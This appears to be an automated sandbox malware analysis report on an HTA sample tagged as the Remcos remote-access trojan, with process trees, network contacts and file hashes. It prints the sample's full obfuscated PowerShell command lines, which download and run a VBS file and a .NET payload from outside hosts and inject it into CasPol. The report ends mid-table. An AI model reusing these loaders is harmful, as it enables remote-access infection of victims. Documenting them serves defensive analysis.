Malware Analysis Report

2024-12-07 03:17

Sample ID 241114-dfptpsxkfr
Target aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta
SHA256 aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b
Tags
defense_evasion discovery execution remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b

Threat Level: Known bad

The file aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution remcos remotehost rat

Remcos

Remcos family

Blocklisted process makes network request

Evasion via Device Credential Deployment

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 02:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 02:57

Reported

2024-11-14 02:59

Platform

win7-20240729-en

Max time kernel

117s

Max time network

118s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2660 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2660 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2660 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2660 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2988 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2624 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 2624 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 2624 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 2624 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2624 wrote to memory of 2604 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2624 wrote to memory of 2604 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2624 wrote to memory of 2604 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2624 wrote to memory of 2604 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2988 wrote to memory of 792 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2988 wrote to memory of 792 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2988 wrote to memory of 792 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2988 wrote to memory of 792 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 792 wrote to memory of 1964 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 792 wrote to memory of 1964 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 792 wrote to memory of 1964 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 792 wrote to memory of 1964 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2620 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta"

C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe

"C:\Windows\sYStEm32\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe" "pOwerSHeLl.ExE -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT ; iex($(IEx('[sYSTEm.teXt.eNCoDING]'+[cHar]58+[ChaR]0X3a+'UTf8.getsTRiNg([sySTem.COnVERt]'+[CHaR]0X3a+[chAr]0X3A+'frombaSE64STrIng('+[chAR]0x22+'JFNyRkRDMnFKTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1iRXJkRWZJbmlUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBob0xpVWhiSW9ELHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVXSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGhzbyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3dUxwdSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNQUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNyRkRDMnFKTTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yOS82Ni9zZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1dmsudElGIiwiJEVuVjpBUFBEQVRBXHNlZW15YmVzdGdpcmx0aGlua2luZ3NoZWlzYWhvdGNoaWNrYnV0ZnUudmJTIiwwLDApO1N0YXJULXNMZUVwKDMpO3N0YXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1LnZiUyI='+[cHaR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3361.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdMRVJpbWFnZScrJ1VybCA9ICcrJ0RqWmh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrJysnZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYnKycyYycrJzE3MzA5NDUxNzZhMDkwNGYgRGpaO0xFUndlYkNsJysnaScrJ2VudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7TEVSaW1hZ2VCeXRlcyAnKyc9IExFUndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoTEVSaW1hZ2UnKydVcmwpO0xFUmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKExFJysnUmltYWcnKydlQnl0JysnZXMpO0xFUnN0YXJ0RmxhZyA9IERqWjw8QkEnKydTRTY0X1NUQVJUPj5Ealo7TEVSZW5kRmxhZyA9IERqWjw8QkFTRTY0X0VORD4+RGpaO0xFUnN0YXJ0SW5kZXggPSBMRVJpbWFnZVRleHQuSW5kZXhPZihMRVJzdGFydEZsYWcpO0xFUmVuZEluZGV4ID0gTEVSaW1hZ2VUZXh0LkluZGV4T2YoTEVSZW5kRicrJ2xhZyk7TEVSc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIExFUmVuZEluZGV4IC1ndCBMRVJzdGFydEluZGV4O0xFUnN0YXJ0SW5kZXggKz0gTEVSc3RhcicrJ3RGbGFnLkxlbmd0aDtMRVJiYXNlNjRMZW5ndGggPSBMRVJlbmRJbmRleCAtIExFUnN0YXJ0SW5kZXg7TEVSYmFzZTY0Q29tbWFuZCA9JysnIExFUmltYWdlVGV4dC5TdWJzdHJpbmcoTEVSc3RhcnRJbmRleCwgTEVSYmEnKydzZTY0TGVuZ3RoKTtMRVJiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChMRVJiYXNlNjRDb20nKydtYW5kLlRvQ2hhckFycmF5KCkgaTFCIEZvckVhY2gtT2JqZWN0IHsgTEVSXyB9KVstMS4uLShMRVJiYXNlNjRDJysnb21tYW5kLkxlbmd0aCldO0wnKydFUmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoTEVSYmFzZTY0UmV2ZXJzZWQpO0xFUmxvYWRlZEFzcycrJ2VtYmx5ID0gW1N5c3RlbS5SZWYnKydsZWN0JysnaW8nKyduLkFzc2VtYmx5XTo6TCcrJ29hZChMRVJjb21tYW5kQicrJ3l0ZXMpO0xFUnZhaU1ldGhvZCAnKyc9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoRGpaVkFJRGpaKTtMRVJ2YWlNZXRob2QuSW52b2tlKExFUm51bGwsIEAoRGpadHh0LlJSRlRSV1MvNjYvOTIuMDIyLjMuMjkxLy86cHR0aERqWiwgRGpaZGVzYXRpdmFkb0RqWiwgRGpaZGVzYXRpdicrJ2EnKydkJysnb0RqWiwgRGpaZGVzYScrJ3RpdmFkb0RqWiwgRGpaQ2FzUG9sRGpaLCBEalpkZXNhdGl2YWRvRGpaLCBEalpkZXNhdGl2YWRvRGpaLERqWmRlc2F0aXZhZG9EalosRGpaZGUnKydzYXRpdmFkb0RqWixEalpkZXNhdGl2YWRvJysnRCcrJ2paLERqWmRlc2F0aXZhZG9EalosRGpaZGVzYXRpdmFkJysnb0RqWixEaloxRGpaLERqWmRlc2F0aXYnKydhZG9EalopKTsnKS5yZVBMQWNFKChbY0hBUl02OCtbY0hBUl0xMDYrW2NIQVJdOTApLFtTdHJpbmddW2NIQVJdMzkpLnJlUExBY0UoKFtjSEFSXTc2K1tjSEFSXTY5K1tjSEFSXTgyKSxbU3RyaW5nXVtjSEFSXTM2KS5yZVBMQWNFKCdpMUInLCd8JykgfCAmICggJHNIRWxsaURbMV0rJHNIRWxMSURbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('LERimage'+'Url = '+'DjZhttps://1017.filemail.com/api/file/get?filek'+'ey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c6'+'2c'+'1730945176a0904f DjZ;LERwebCl'+'i'+'ent = New-Object System.Net.WebClient;LERimageBytes '+'= LERwebClient.DownloadDa'+'ta(LERimage'+'Url);LERimageText = [System.Text.Encoding]::UTF8.GetString(LE'+'Rimag'+'eByt'+'es);LERstartFlag = DjZ<<BA'+'SE64_START>>DjZ;LERendFlag = DjZ<<BASE64_END>>DjZ;LERstartIndex = LERimageText.IndexOf(LERstartFlag);LERendIndex = LERimageText.IndexOf(LERendF'+'lag);LERstartIndex -ge 0 -an'+'d LERendIndex -gt LERstartIndex;LERstartIndex += LERstar'+'tFlag.Length;LERbase64Length = LERendIndex - LERstartIndex;LERbase64Command ='+' LERimageText.Substring(LERstartIndex, LERba'+'se64Length);LERbase64Reversed = -join (LERbase64Com'+'mand.ToCharArray() i1B ForEach-Object { LER_ })[-1..-(LERbase64C'+'ommand.Length)];L'+'ERcommandBytes = [System.Convert]::FromBase64String(LERbase64Reversed);LERloadedAss'+'embly = [System.Ref'+'lect'+'io'+'n.Assembly]::L'+'oad(LERcommandB'+'ytes);LERvaiMethod '+'= [dnlib.IO.'+'Home].GetMethod(DjZVAIDjZ);LERvaiMethod.Invoke(LERnull, @(DjZtxt.RRFTRWS/66/92.022.3.291//:ptthDjZ, DjZdesativadoDjZ, DjZdesativ'+'a'+'d'+'oDjZ, DjZdesa'+'tivadoDjZ, DjZCasPolDjZ, DjZdesativadoDjZ, DjZdesativadoDjZ,DjZdesativadoDjZ,DjZde'+'sativadoDjZ,DjZdesativado'+'D'+'jZ,DjZdesativadoDjZ,DjZdesativad'+'oDjZ,DjZ1DjZ,DjZdesativ'+'adoDjZ));').rePLAcE(([cHAR]68+[cHAR]106+[cHAR]90),[String][cHAR]39).rePLAcE(([cHAR]76+[cHAR]69+[cHAR]82),[String][cHAR]36).rePLAcE('i1B','|') | & ( $sHElliD[1]+$sHElLID[13]+'x')"

Network

Country Destination Domain Proto
US 192.3.220.29:80 192.3.220.29 tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 e91317b2c29713532923c0f02729a96a
SHA1 b6625b16345c77578ea69ff6b74f8243002554a4
SHA256 e122dff370abdd0093b80e45275f49ff2bbb29751b7ff2351744517296e301f7
SHA512 e3a4477370e88c37e6a8131245b2bb149718a5c3d780460fcb2b1ad1b4ce236c9f663816516be8acd12a971d631c4ec41d66597871d82e3fec21fc9e89a6eaad

\??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline

MD5 7fed7c4cd36e23c0215efc64a369e49d
SHA1 ae6135cb587d1afd4c8c45aade0913a9e26b5b36
SHA256 241309de2b26c9fde7e59c82dafa2f4af38ac270eeb2cc2eaae9f01e5b69bfad
SHA512 4b51324acafd2e3f0345e6c5dca2f6ef13467ef366cbdb63fdf2515bbf2442267185a1f15f53e58ed286308248da30df99527173b822decb6eb368bcf5697a55

\??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.0.cs

MD5 70e878f483525e691692b50ba3aeadd0
SHA1 fa16b13bc12663af3d9a7e7dba4e027931cf9ccb
SHA256 3de2628d310015c0692133b3509877416f0c20159830c0d9ad45f10109f0bee8
SHA512 22cb839c634a7c5dc2c4b00c7c98aaa12bc4c3cc76a096e52004ede5b8f2b79e71670702f4a028b55bf2f411501dff4347cc1947fc345b32c8d957c2d9a31a05

\??\c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp

MD5 7141961d1c08c3559ed9852108b97e1b
SHA1 36e2a00dcff7f407b13c81febf0ab04272b54e30
SHA256 e23800ddb796a9d13b10308204ba79d4725d0eb31a2c7403752d62ad5280ad89
SHA512 3540c5d508f6e45cde6c9f3f6d3c07429eec3b6ec7b8dec3f975552ec4b60ad1489b0d6a6147fb30b4dc5b86a14a6a4a2d3bca505725f8a66bd570037a033ae6

C:\Users\Admin\AppData\Local\Temp\RES3361.tmp

MD5 36548fd40f253b9adb1d7d56e2b3b5ff
SHA1 138c4f301f1bcfa7a28ae361fc352ede76538d98
SHA256 2074b44fa5ef333e7b81f5bcd391c90a1fe844abf661a89971f3f30bf0d921e3
SHA512 c376b00cace899fcca29b024a11b0a166896b02a936a89bac9b7de83bd05c46129ff45f969ba0aa0bb7656a992d28c53354bc93d6c765f1cca1c39139e443fc4

C:\Users\Admin\AppData\Local\Temp\yvj5tprs.dll

MD5 6ebddb818c7c55defbbcc2b8a304459d
SHA1 f96d61b32997ab94c721a5d2afbc79ca520e4d21
SHA256 1b7d5e4b720f83e56991a2af80920d917fbb08fc5c02d544f26d733ba8f477a0
SHA512 74d8e78405c8b90b38942c9b571ca8919e3fd6bd0f68e03e38d252bcd2eb829bb1c49e36ffbb05debd30bf8c9d9547710bcf362618164b4737de671a75ec1d6f

C:\Users\Admin\AppData\Local\Temp\yvj5tprs.pdb

MD5 805db05a7d5b41102246e9fdae438469
SHA1 c8a37aa1e07441dbf85bd41e4b7d04e0b46130a6
SHA256 989bb66cb483aa029e9201b46db45cb992fc2408764b2146e56974e9037c653a
SHA512 18bd72d7b04c5a161f0a6128aa3decb76ea805d8a3c74dd08eb46986909609e5c2e3763fb6f9e24ba8a0c07c258b14242883f6ba72ad6731cbf6f71037c7dff0

C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS

MD5 b93e8a9bf23aeb31964d63d631ccf365
SHA1 05b27d7f62b142a9d88c6ab89eb8ffc5f2299bd4
SHA256 75a49d9f596717af29acad09533ed873c76d71ef857aa340e47a5605b209e63f
SHA512 46e5f392f462c69158443e1c26361e950452744240638375af4e3926f0b57eb2d0f58fea63a42f998e7da1776ee49cc993d67cc32c2b2aa5244476bc95654062

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 02:57

Reported

2024-11-14 02:59

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

150s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Remcos

rat remcos

Remcos family

remcos

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1920 set thread context of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2524 wrote to memory of 1600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2524 wrote to memory of 1600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2524 wrote to memory of 1600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 1600 wrote to memory of 4144 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1600 wrote to memory of 4144 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1600 wrote to memory of 4144 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1600 wrote to memory of 2436 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
